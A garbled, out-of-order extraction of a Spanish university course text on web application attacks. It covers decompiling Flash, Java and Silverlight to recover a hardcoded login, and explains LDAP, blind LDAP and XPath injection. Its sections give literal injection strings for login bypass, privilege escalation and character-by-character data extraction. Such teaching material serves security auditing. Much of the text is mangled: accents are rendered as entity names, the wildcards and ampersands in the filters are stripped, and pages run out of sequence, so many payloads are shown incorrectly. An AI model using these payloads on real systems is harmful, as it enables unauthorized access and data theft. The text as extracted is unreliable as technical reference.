donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 31: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

